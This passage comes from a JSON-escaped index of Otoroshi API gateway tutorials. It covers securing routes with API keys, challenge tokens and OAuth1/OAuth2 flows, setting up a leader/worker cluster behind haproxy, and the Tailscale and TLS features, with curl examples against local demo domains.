Otoroshi, private app is a service secure by any authentication module). The `Email field name` is configured to match with the `mail` field from LDAP user data.\n\n```json \n{\n \"john@otoroshi.tools\": {\n \"stage_name\": \"Will\"\n }\n}\n```\n\nIf you try to connect to an app with this configuration, the user result profile should be :\n\n```json\n{\n ...,\n \"metadata\": {\n \"lastname\": \"Willy\",\n \"stage_name\": \"Will\"\n }\n}\n```\n\nLet's try to increase the John rights with the `Additional rights group`.\n\nThis field supports the creation of virtual groups. A virtual group is composed of a list of users and a list of rights for each teams/organizations.\n\n```json\n// increase_john_rights is a virtual group which adds full access rights at john \n{\n \"increase_john_rights\": {\n \"rights\": [\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n ],\n \"users\": [\n \"john@otoroshi.tools\"\n ]\n }\n}\n```\n\nThe last field `Rights override` is useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights. \n\nTo resume, when John connects to Otoroshi, he receives the rights to only read the default Organization (from **Mapping group filter**), then he is promote to administrator role (from **Additional rights group**) and finally his rights are reset with the last field **Rights override** to the read rights.\n\n```json \n{\n \"john@otoroshi.tools\": [\n {\n \"tenant\": \"*:r\",\n \"teams\": [\n \"*:r\"\n ]\n }\n ]\n}\n```\n\n\n\n\n\n\n\n\n"},{"name":"secure-the-communication-between-a-backend-app-and-otoroshi.md","id":"/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.md","url":"/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.html","title":"Secure the communication between a backend app and Otoroshi","content":"# Secure the communication between a backend app and Otoroshi\n\n
\nRoute plugins:\nOtoroshi challenge token\n
\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\nLet's create a new route with the Otorochi challenge plugin enabled.\n\n```sh\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myapi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"localhost\",\n \"port\": 8081,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.OtoroshiChallenge\",\n \"config\": {\n \"version\": 2,\n \"ttl\": 30,\n \"request_header_name\": \"Otoroshi-State\",\n \"response_header_name\": \"Otoroshi-State-Resp\",\n \"algo_to_backend\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"algo_from_backend\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"state_resp_leeway\": 10\n }\n }\n ]\n}\nEOF\n```\n\nLet's use the following application, developed in NodeJS, which supports both versions of the exchange protocol.\n\nClone this @link:[repository](https://github.com/MAIF/otoroshi/blob/master/demos/challenge) and run the installation of the dependencies.\n\n```sh\ngit clone 'git@github.com:MAIF/otoroshi.git' --depth=1\ncd ./otoroshi/demos/challenge\nnpm install\nPORT=8081 node server.js\n```\n\nThe last command should return : \n\n```sh\nchallenge-verifier listening on http://0.0.0.0:8081\n```\n\nThis project runs an express client with one middleware. The middleware handles each request, and check if the header `State token header` is present in headers. By default, the incoming expected header is `Otoroshi-State` by the application and `Otoroshi-State-Resp` header in the headers of the return request. \n\nTry to call your service via http://myapi.oto.tools:8080/. This should return a successful response with all headers received by the backend app. \n\nNow try to disable the middleware in the nodejs file by commenting the following line. \n\n```js\n// app.use(OtoroshiMiddleware());\n```\n\nTry to call again your service. This time, Otoroshi breaks the return response from your backend service, and returns.\n\n```sh\nDownstream microservice does not seems to be secured. Cancelling request !\n```"},{"name":"secure-with-apikey.md","id":"/how-to-s/secure-with-apikey.md","url":"/how-to-s/secure-with-apikey.html","title":"Secure an api with api keys","content":"# Secure an api with api keys\n\n
\nRoute plugins:\nApikeys\n
\n\n### Before you start\n\n@@include[fetch-and-start.md](../includes/fetch-and-start.md) { #init }\n\n### Create a simple route\n\n**From UI**\n\n1. Navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/routes](http://otoroshi.oto.tools:8080/bo/dashboard/routes) { open=new } and click on the `create new route` button\n2. Give a name to your route\n3. Save your route\n4. Set `myservice.oto.tools` as frontend domains\n5. Set `https://mirror.otoroshi.io` as backend target (hostname: `mirror.otoroshi.io`, port: `443`, Tls: `Enabled`)\n\n**From Admin API**\n\n```sh\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"myservice\",\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myservice.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n }\n}\nEOF\n```\n\n### Secure routes with api key\n\nBy default, a route is public. In our case, we want to secure all paths starting with `/api` and leave all others unauthenticated.\n\nLet's add a new plugin, called `Apikeys`, to our route. Search in the list of plugins, then add it to the flow.\nOnce done, restrict its range by setting up `/api` in the `Informations>include` section.\n\n**From Admin API**\n\n```sh\ncurl -X PUT http://otoroshi-api.oto.tools:8080/api/routes/myservice \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"myservice\",\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myservice.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"include\": [\n \"/api\"\n ],\n \"config\": {\n \"validate\": true,\n \"mandatory\": true,\n \"wipe_backend_request\": true,\n \"update_quotas\": true\n }\n }\n ]\n}\nEOF\n```\n\nNavigate to @link:[http://myservice.oto.tools:8080/api/test](http://myservice.oto.tools:8080/api/test) { open=new } again. If the service is configured, you should have a `Service Not found error`.\n\nThe expected error on the `/api/test`, indicate that an api key is required to access to this part of the backend service.\n\nNavigate to any other routes which are not starting by `/api/*` like @link:[http://myservice.oto.tools:8080/test/bar](http://myservice.oto.tools:8080/test/bar) { open=new }\n\n\n### Generate an api key to request secure services\n\nNavigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/apikeys/add](http://otoroshi.oto.tools:8080/bo/dashboard/apikeys/add) { open=new } or when clicking on the **Add apikey** button on the sidebar.\n\nThe only required fields of an Otoroshi api key are : \n\n* `ApiKey id`\n* `ApiKey Secret`\n* `ApiKey Name`\n\nThese fields are automatically generated by Otoroshi. However, you can override these values and indicate an additional description.\n\nTo simplify the rest of the tutorial, set the values:\n\n* `my-first-api-key-id` as `ApiKey Id`\n* `my-first-api-key-secret` as `ApiKey Secret`\n\nClick on **Create and stay on this ApiKey** button at the bottom of the page.\n\nNow you created the key, it's time to call our previous generated service with it.\n\nOtoroshi supports 4 methods to achieve that: \n\nFirst one by passing Otoroshi api key in two headers : `Otoroshi-Client-Id` and `Otoroshi-Client-Secret` (these headers names can be override on each service).\nThe second by passing Otoroshi api key in the authentication Header (basically the `Authorization` header) as a basic encoded value. The third option is to use the bearer generated for your apikey (you can get it by calling `curl http://otoroshi-api.oto.tools:8080/api/apikeys/my-first-api-key-id/bearer`). A fourth option is to use jwt token but we will not review it here but you can find a @ref[tutorial here](./secure-with-oauth2-client-credentials.md).\n\nLet's go ahead and call our service with the first method :\n\n```sh\ncurl -X GET \\\n -H 'Otoroshi-Client-Id: my-first-api-key-id' \\\n -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nthen with the second method using basic authentication:\n\n```sh\ncurl -X GET \\\n -H 'Authorization: Basic bXktZmlyc3QtYXBpLWtleS1pZDpteS1maXJzdC1hcGkta2V5LXNlY3JldA==' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nor\n\n```sh\ncurl -X GET \\\n -u my-first-api-key-id:my-first-api-key-secret \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nthen with the third method using otoroshi bearer:\n\n```sh\ncurl -X GET \\\n -H 'Authorization: Bearer otoapk_my-first-api-key-id_99cb8e081d692044593ad0e658a67a5114f7afbdcbeb26f8087cce0df3b610b2' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\n> Tips : To easily fill your headers, you can jump to the `Call examples` section in each api key view. In this section the header names are the default values and the service url is not set. You have to adapt these lines to your case. \n\n### Override defaults headers names for a route\n\nIn some case, we want to change the defaults headers names (and it's a quite good idea).\n\nLet's start by navigating to the `Apikeys` plugin in the Designer of our route.\n\nThe first values to change are the headers names used to read the api key from client. Start by clicking on `extractors > CustomHeaders` and set the following values :\n\n* `api-key-header-id` as `Custom client id header name`\n* `api-key-header-secret` as `Custom client secret header name`\n\nSave the route, and call the service again.\n\n```sh\ncurl -X GET \\\n -H 'Otoroshi-Client-Id: my-first-api-key-id' \\\n -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nThis should output an error because Otoroshi are expecting the api keys in other headers.\n\n```json\n{\n \"Otoroshi-Error\": \"No ApiKey provided\"\n}\n```\n\nCall one again the service but with the changed headers names.\n\n```sh\ncurl -X GET \\\n -H 'api-key-header-id: my-first-api-key-id' \\\n -H 'api-key-header-secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nAll others default services will continue to accept the api keys with the `Otoroshi-Client-Id` and `Otoroshi-Client-Secret` headers, whereas our service, will accept the `api-key-header-id` and `api-key-header-secret` headers.\n\n### Accept only api keys with expected values\n\nBy default, a secure service only accepts requests with api key. But all generated api keys are eligible to call our service and in some case, we want authorize only a couple of api keys.\n\nYou can restrict the list of accepted api keys by giving a list of `metadata` or/and `tags`. Each api key has a list of `tags` and `metadata`, which can be used by Otoroshi to validate a request with an api key. All api key metadata/tags can be forward to your service (see `Otoroshi Challenge` section of a service to get more information about `Otoroshi info. token`).\n\nLet's starting by only accepting api keys with the `otoroshi` tag.\n\nClick on the `ApiKeys` plugin, and enabled the `Routing` section. These constraints guarantee that a request will only be transmitted if all the constraints are validated.\n\nIn our first case, set `otoroshi` in `One Tag in` array and save the service.\nThen call our service with :\n```sh\ncurl -X GET \\\n -H 'Otoroshi-Client-Id: my-first-api-key-id' \\\n -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nThis should output :\n```json\n// Error reason : Our api key doesn't contains the expected tag.\n{\n \"Otoroshi-Error\": \"Bad API key\"\n}\n```\n\nNavigate to the edit page of our api key, and jump to the `Metadata and tags` section.\nIn this section, add `otoroshi` in `Tags` array, then save the api key. Call once again your call and you will normally get a successful response of our backend service.\n\nIn this example, we have limited our service to API keys that have `otoroshi` as a tag.\n\nOtoroshi provides a few others behaviours. For each behaviour, *Api key used should*:\n\n* `All Tags in` : have all of the following tags\n* `No Tags in` : not have one of the following tags\n* `One Tag in` : have at least one of the following tags\n\n---\n\n* `All Meta. in` : have all of the following metadata entries\n* `No Meta. in` : not have one of the following metadata entries\n* `One Meta. in` : have at least one of the following metadata entries\n \n----\n\n* `One Meta key in` : have at least one of the following key in metadata\n* `All Meta key in` : have all of the following keys in metadata\n* `No Meta key in` : not have one of the following keys in metadata"},{"name":"secure-with-oauth1-client.md","id":"/how-to-s/secure-with-oauth1-client.md","url":"/how-to-s/secure-with-oauth1-client.html","title":"Secure an app with OAuth1 client flow","content":"# Secure an app with OAuth1 client flow\n\n
\nRoute plugins:\nAuthentication\n
\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Running an simple OAuth 1 server\n\nIn this tutorial, we'll instantiate a oauth 1 server with docker. If you alredy have the necessary, skip this section @ref:[to](#create-an-oauth-1-provider-module).\n\nLet's start by running the server\n\n```sh\ndocker run -d --name oauth1-server --rm \\\n -p 5000:5000 \\\n -e OAUTH1_CLIENT_ID=2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET \\\n -e OAUTH1_CLIENT_SECRET=wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp \\\n -e OAUTH1_REDIRECT_URI=http://otoroshi.oto.tools:8080/backoffice/auth0/callback \\\n ghcr.io/beryju/oauth1-test-server\n```\n\nWe created a oauth 1 server which accepts `http://otoroshi.oto.tools:8080/backoffice/auth0/callback` as `Redirect URI`. This URL is used by Otoroshi to retrieve a token and a profile at the end of an authentication process.\n\nAfter this command, the container logs should output :\n```sh \n127.0.0.1 - - [14/Oct/2021 12:10:49] \"HEAD /api/health HTTP/1.1\" 200 -\n```\n\n### Create an OAuth 1 provider module\n\n1. Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n1. Click on the cog icon on the top right\n1. Then **Authentication configs** button\n1. And add a new configuration when clicking on the **Add item** button\n2. Select the `Oauth1 provider` in the type selector field\n3. Set a basic name and description like `oauth1-provider`\n4. Set `2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET` as `Consumer key`\n5. Set `wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp` as `Consumer secret`\n6. Set `http://localhost:5000/oauth/request_token` as `Request Token URL`\n7. Set `http://localhost:5000/oauth/authorize` as `Authorize URL`\n8. Set `http://localhost:oauth/access_token` as `Access token URL`\n9. Set `http://localhost:5000/api/me` as `Profile URL`\n10. Set `http://otoroshi.oto.tools:8080/backoffice/auth0/callback` as `Callback URL`\n11. At the bottom of the page, disable the **secure** button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n At this point, your configuration should be similar to :\n\n\n\n\nWith this configuration, the connected user will receive default access on teams and organizations. If you want to change the access rights for a specific user, you can achieve it with the `Rights override` field and a configuration like :\n\n```json\n{\n \"foo@example.com\": [\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n ]\n}\n```\n\nSave your configuration at the bottom of the page, then navigate to the `danger zone` to use your module as a third-party connection to the Otoroshi UI.\n\n### Connect to Otoroshi with OAuth1 authentication\n\nTo secure Otoroshi with your OAuth1 configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.\n\n1. Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n1. Scroll to the **BackOffice auth. settings**\n1. Select your last Authentication configuration (created in the previous section)\n1. Save the global configuration with the button on the top right\n\n### Testing your configuration\n\n1. Disconnect from your instance\n1. Then click on the **Login using third-party** button (or navigate to http://otoroshi.oto.tools:8080)\n2. Click on **Login using Third-party** button\n3. If all is configured, Otoroshi will redirect you to the oauth 1 server login page\n4. Set `example-user` as user and trust the user by clicking on `yes` button.\n5. Good work! You're connected to Otoroshi with an OAuth1 module.\n\n> A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.\n\n### Secure an app with OAuth 1 authentication\n\nWith the previous configuration, you can secure any of Otoroshi services with it. \n\nThe first step is to apply a little change on the previous configuration. \n\n1. Navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs](http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs) { open=new }.\n2. Create a new auth module configuration with the same values.\n3. Replace the `Callback URL` field to `http://privateapps.oto.tools:8080/privateapps/generic/callback` (we changed this value because the redirection of a logged user by a third-party server is cover by an other route by Otoroshi).\n4. Disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n> Note : an Otoroshi service is called a private app when it is protected by an authentication module.\n\nOur example server supports only one redirect URI. We need to kill it, and to create a new container with `http://otoroshi.oto.tools:8080/privateapps/generic/callback` as `OAUTH1_REDIRECT_URI`\n\n```sh\ndocker rm -f oauth1-server\ndocker run -d --name oauth1-server --rm \\\n -p 5000:5000 \\\n -e OAUTH1_CLIENT_ID=2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET \\\n -e OAUTH1_CLIENT_SECRET=wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp \\\n -e OAUTH1_REDIRECT_URI=http://privateapps.oto.tools:8080/privateapps/generic/callback \\\n ghcr.io/beryju/oauth1-test-server\n```\n\nOnce the authentication module and the new container created, we can define the authentication module on the service.\n\n1. Navigate to any created route\n2. Search in the list of plugins the plugin named `Authentication`\n3. Select your Authentication config inside the list\n4. Don't forget to save your configuration.\n\nNow you can try to call your route and see the login module appears.\n\n> \n\nThe allow access to the user.\n\n> \n\nIf you had any errors, make sure of :\n\n* check if you are on http or https, and if the **secure cookie option** is enabled or not on the authentication module\n* check if your OAuth1 server has the REDIRECT_URI set on **privateapps/...**\n* Make sure your server supports POST or GET OAuth1 flow set on authentication module\n\nOnce the configuration is working, you can check, when connecting with an Otoroshi admin user, the `Private App session` created (use the cog at the top right of the page, and select `Priv. app sesssions`, or navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/sessions/private](http://otoroshi.oto.tools:8080/bo/dashboard/sessions/private) { open=new }).\n\nOne interesing feature is to check the profile of the connected user. In our case, when clicking on the `Profile` button of the right user, we should have : \n\n```json\n{\n \"email\": \"foo@example.com\",\n \"id\": 1,\n \"name\": \"test name\",\n \"screen_name\": \"example-user\"\n}\n```"},{"name":"secure-with-oauth2-client-credentials.md","id":"/how-to-s/secure-with-oauth2-client-credentials.md","url":"/how-to-s/secure-with-oauth2-client-credentials.html","title":"Secure an app with OAuth2 client_credential flow","content":"# Secure an app with OAuth2 client_credential flow\n\n\n\nOtoroshi makes it easy for your app to implement the [OAuth2 Client Credentials Flow](https://auth0.com/docs/authorization/flows/client-credentials-flow). \n\nWith machine-to-machine (M2M) applications, the system authenticates and authorizes the app rather than a user. With the client credential flow, applications will pass along their Client ID and Client Secret to authenticate themselves and get a token.\n\n## Deployed the Client Credential Service\n\nThe Client Credential Service must be enabled as a global plugin on your Otoroshi instance. Once enabled, it will expose three endpoints to issue and validate tokens for your routes.\n\nLet's navigate to your otoroshi instance (in our case http://otoroshi.oto.tools:8080) on the danger zone (`top right cog icon / Danger zone` or at [/bo/dashboard/dangerzone](http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone)).\n\nTo enable a plugin in global on Otoroshi, you must add it in the `Global Plugins` section.\n\n1. Open the `Global Plugin` section \n2. Click on `enabled` (if not already done)\n3. Search the plugin named `Client Credential Service` of type `Sink` (you need to enabled it on the old or new Otoroshi engine, depending on your use case)\n4. Inject the default configuration by clicking on the button (if you are using the old Otoroshi engine)\n\nIf you click on the arrow near each plugin, you will have the documentation of the plugin and its default configuration.\n\nThe client credential plugin has by default 4 parameters : \n\n* `domain`: a regex used to expose the three endpoints (`default`: *)\n* `expiration`: duration until the token expire (in ms) (`default`: 3600000)\n* `defaultKeyPair`: a key pair used to sign the jwt token. By default, Otoroshi is deployed with an otoroshi-jwt-signing that you can visualize on the jwt verifiers certificates (`default`: \"otoroshi-jwt-signing\")\n* `secure`: if enabled, Otoroshi will expose routes only in the https requests case (`default`: true)\n\nIn this tutorial, we will set the configuration as following : \n\n* `domain`: oauth.oto.tools\n* `expiration`: 3600000\n* `defaultKeyPair`: otoroshi-jwt-signing\n* `secure`: false\n\nNow that the plugin is running, third routes are exposed on each matching domain of the regex.\n\n* `GET /.well-known/otoroshi/oauth/jwks.json` : retrieve all public keys presents in Otoroshi\n* `POST /.well-known/otoroshi/oauth/token/introspect` : validate and decode the token \n* `POST /.well-known/otoroshi/oauth/token` : generate a token with the fields provided\n\nOnce the global configuration saved, we can deployed a simple service to test it.\n\nLet's navigate to the routes page, and create a new route with : \n\n1. `foo.oto.tools` as `domain` in the frontend node\n2. `mirror.otoroshi.io` as hostname in the list of targets of the backend node, and `443` as `port`.\n3. Search in the list of plugins and add the `Apikeys` plugin to the flow\n4. In the extractors section of the `Apikeys` plugin, disabled the `Basic`, `Client id` and `Custom headers` option.\n5. Save your route\n\nLet's make a first call, to check if the jwks are already exposed :\n\n```sh\ncurl 'http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/jwks.json'\n```\n\nThe output should look like a list of public keys : \n```sh\n{\n \"keys\": [\n {\n \"kty\": \"RSA\",\n \"e\": \"AQAB\",\n \"kid\": \"otoroshi-intermediate-ca\",\n ...\n }\n ...\n ]\n}\n``` \n\nLet's make a call to your route. \n\n```sh\ncurl 'http://foo.oto.tools:8080/'\n```\n\nThis should output the expected error: \n```json\n{\n \"Otoroshi-Error\": \"No ApiKey provided\"\n}\n```\n\nThe first step is to generate an api key. Navigate to the api keys page, and create an item with the following values (it will be more easy to use them in the next step)\n\n* `my-id` as `ApiKey Id`\n* `my-secret` as `ApiKey Secret`\n\nThe next step is to get a token by calling the endpoint `http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/jwks.json`. The required fields are the grand type, the client and the client secret corresponding to our generated api key.\n\n```sh\ncurl -X POST http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/token \\\n-H \"Content-Type: application/json\" \\\n-d @- <<'EOF'\n{\n \"grant_type\": \"client_credentials\",\n \"client_id\":\"my-id\",\n \"client_secret\":\"my-secret\"\n}\nEOF\n```\n\nThis request have one more optional field, named `scope`. The scope can be used to set a bunch of scope on the generated access token.\n\nThe last command should look like : \n\n```sh\n{\n \"access_token\": \"generated-token-xxxxx\",\n \"token_type\": \"Bearer\",\n \"expires_in\": 3600\n}\n```\n\nNow we can call our api with the generated token\n\n```sh\ncurl 'http://foo.oto.tools:8080/' \\\n -H \"Authorization: Bearer generated-token-xxxxx\"\n```\n\nThis should output a successful call with the list of headers with a field named `Authorization` containing the previous access token.\n\n## Other possible configuration\n\nBy default, Otoroshi generate the access token with the specified key pair in the configuration. But, in some case, you want a specific key pair by client_id/client_secret.\nThe `jwt-sign-keypair` metadata can be set on any api key with the id of the key pair as value. \n"},{"name":"setup-otoroshi-cluster.md","id":"/how-to-s/setup-otoroshi-cluster.md","url":"/how-to-s/setup-otoroshi-cluster.html","title":"Setup an Otoroshi cluster","content":"# Setup an Otoroshi cluster\n\n
\nRoute plugins:\nAdditional Headers In\n
\n\nIn this tutorial, you create an cluster of Otoroshi.\n\n### Summary \n\n1. Deploy an Otoroshi cluster with one leader and 2 workers \n2. Add a load balancer in front of the workers \n3. Validate the installation by adding a header on the requests\n\nLet's start by downloading the latest jar of Otoroshi.\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nThen create an instance of Otoroshi and indicates with the `otoroshi.cluster.mode` environment variable that it will be the leader.\n\n```sh\njava -Dhttp.port=8091 -Dhttps.port=9091 -Dotoroshi.cluster.mode=leader -jar otoroshi.jar\n```\n\nLet's create two Otoroshi workers, exposed on `:8082/:8092` and `:8083/:8093` ports, and setting the leader URL in the `otoroshi.cluster.leader.urls` environment variable.\n\nThe first worker will listen on the `:8082/:8092` ports\n```sh\njava \\\n -Dotoroshi.cluster.worker.name=worker-1 \\\n -Dhttp.port=8092 \\\n -Dhttps.port=9092 \\\n -Dotoroshi.cluster.mode=worker \\\n -Dotoroshi.cluster.leader.urls.0='http://127.0.0.1:8091' -jar otoroshi.jar\n```\n\nThe second worker will listen on the `:8083/:8093` ports\n```sh\njava \\\n -Dotoroshi.cluster.worker.name=worker-2 \\\n -Dhttp.port=8093 \\\n -Dhttps.port=9093 \\\n -Dotoroshi.cluster.mode=worker \\\n -Dotoroshi.cluster.leader.urls.0='http://127.0.0.1:8091' -jar otoroshi.jar\n```\n\nOnce launched, you can navigate to the @link:[cluster view](http://otoroshi.oto.tools:8091/bo/dashboard/cluster) { open=new }. The cluster is now configured, you can see the 3 instances and some health informations on each instance.\n\nTo complete our installation, we want to spread the incoming requests accross otoroshi worker instances. \n\nIn this tutorial, we will use `haproxy` has a TCP loadbalancer. If you don't have haproxy installed, you can use docker to run an haproxy instance as explained below.\n\nBut first, we need an haproxy configuration file named `haproxy.cfg` with the following content :\n\n```sh\nfrontend front_nodes_http\n bind *:8080\n mode tcp\n default_backend back_http_nodes\n timeout client 1m\n\nbackend back_http_nodes\n mode tcp\n balance roundrobin\n server node1 host.docker.internal:8092 # (1)\n server node2 host.docker.internal:8093 # (1)\n timeout connect 10s\n timeout server 1m\n```\n\nand run haproxy with this config file\n\nno docker\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #no_docker }\n\ndocker (on linux)\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #docker_linux }\n\ndocker (on macos)\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #docker_mac }\n\ndocker (on windows)\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #docker_windows }\n\nThe last step is to create a route, add a rule to add, in the headers, a specific value to identify the worker used.\n\nCreate this route, exposed on `http://api.oto.tools:xxxx`, which will forward all requests to the mirror `https://mirror.otoroshi.io`.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8091/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"api.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AdditionalHeadersIn\",\n \"config\": {\n \"headers\": {\n \"worker-name\": \"${config.otoroshi.cluster.worker.name}\"\n }\n }\n }\n ]\n}\nEOF\n```\n\nOnce created, call two times the service. If all is working, the header received by the backend service will have `worker-1` and `worker-2` as value.\n\n```sh\ncurl 'http://api.oto.tools:8080'\n## Response headers\n{\n ...\n \"worker-name\": \"worker-2\"\n ...\n}\n```\n\nThis should output `worker-1`, then `worker-2`, etc. Well done, your loadbalancing is working and your cluster is set up correctly.\n\n\n"},{"name":"tailscale-integration.md","id":"/how-to-s/tailscale-integration.md","url":"/how-to-s/tailscale-integration.html","title":"Tailscale integration","content":"# Tailscale integration\n\n[Tailscale](https://tailscale.com/) is a VPN service that let you create your own private network based on [Wireguard](https://www.wireguard.com/). Tailscale goes beyond the simple meshed wireguard based VPN and offers out of the box NAT traversal, third party identity provider integration, access control, magic DNS and let's encrypt integration for the machines on your VPN.\n\nOtoroshi provides somes plugins out of the box to work in a [Tailscale](https://tailscale.com/) environment.\n\nby default Otoroshi, works out of the box when integrated in a `tailnet` as you can contact other machines usign their ip address. But we can go a little bit further.\n\n## tailnet configuration\n\nfirst thing, go to your tailnet setting on [tailscale.com](https://login.tailscale.com/admin/machines) and go to the [DNS tab](https://login.tailscale.com/admin/dns). Here you can find \n\n* your tailnet name: the domain name of all your machines on your tailnet\n* MagicDNS: a way to address your machines by directly using their names\n* HTTPS Certificates: HTTPS certificates provision for all your machines\n\nto use otoroshi Tailscale plugin you must enable `MagicDNS` and `HTTPS Certificates`\n\n## Tailscale certificates integration\n\nyou can use tailscale generated let's encrypt certificates in otoroshi by using the `Tailscale certificate fetcher job` in the plugins section of the danger zone. Once enabled, this job will fetch certificates for domains in `xxxx.ts.net` that belong to your tailnet. \n\nas usual, the fetched certificates will be available in the [certificates page](http://otoroshi.oto.tools:8080/bo/dashboard/certificates) of otoroshi.\n\n## Tailscale targets integration\n\nthe following pair of plugins let your contact tailscale machine by using their names even if their are multiple instance.\n\nwhen you register a machine on a tailnet, you have to provide a name for it, let say `my-server`. This machine will be addressable in your tailnet with `my-server.tailxxx.ts.net`. But if you have multiple instance of the same server on several machines with the same `my-server` name, their DNS name on the tailnet will be `my-server.tailxxx.ts.net`, `my-server-1.tailxxx.ts.net`, `my-server-2.tailxxx.ts.net`, etc. If you want to use those names in an otoroshi backend it could be tricky if the application has something like autoscaling enabled.\n\nin that case, you can add the `Tailscale targets job` in the plugins section of the danger zone. Once enabled, this job will fetch periodically available machine on the tailnet with their names and DNS names. Then, in a route, you can use the `Tailscale select target by name` plugin to tell otoroshi to loadbalance traffic between all machine that have the name specified in the plugin config. instead of their DNS name."},{"name":"tls-termination-using-own-certificates.md","id":"/how-to-s/tls-termination-using-own-certificates.md","url":"/how-to-s/tls-termination-using-own-certificates.html","title":"TLS termination using your own certificates","content":"# TLS termination using your own certificates\n\nThe goal of this tutorial is to expose a service via https using a certificate generated by openssl.\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\nTry to call the service.\n\n```sh\ncurl 'http://myservice.oto.tools:8080'\n```\n\nThis should output something like\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.opunmaif.io\",\n \"accept\": \"*/*\",\n \"user-agent\": \"curl/7.64.1\",\n \"x-forwarded-port\": \"443\",\n \"opun-proxied-host\": \"mirror.otoroshi.io\",\n \"otoroshi-request-id\": \"1463145856319359618\",\n \"otoroshi-proxied-host\": \"myservice.oto.tools:8080\",\n \"opun-gateway-request-id\": \"1463145856554240100\",\n \"x-forwarded-proto\": \"https\",\n },\n \"body\": \"\"\n}\n```\n\nLet's try to call the service in https.\n\n```sh\ncurl 'https://myservice.oto.tools:8443'\n```\n\nThis should output\n\n```sh\ncurl: (35) LibreSSL 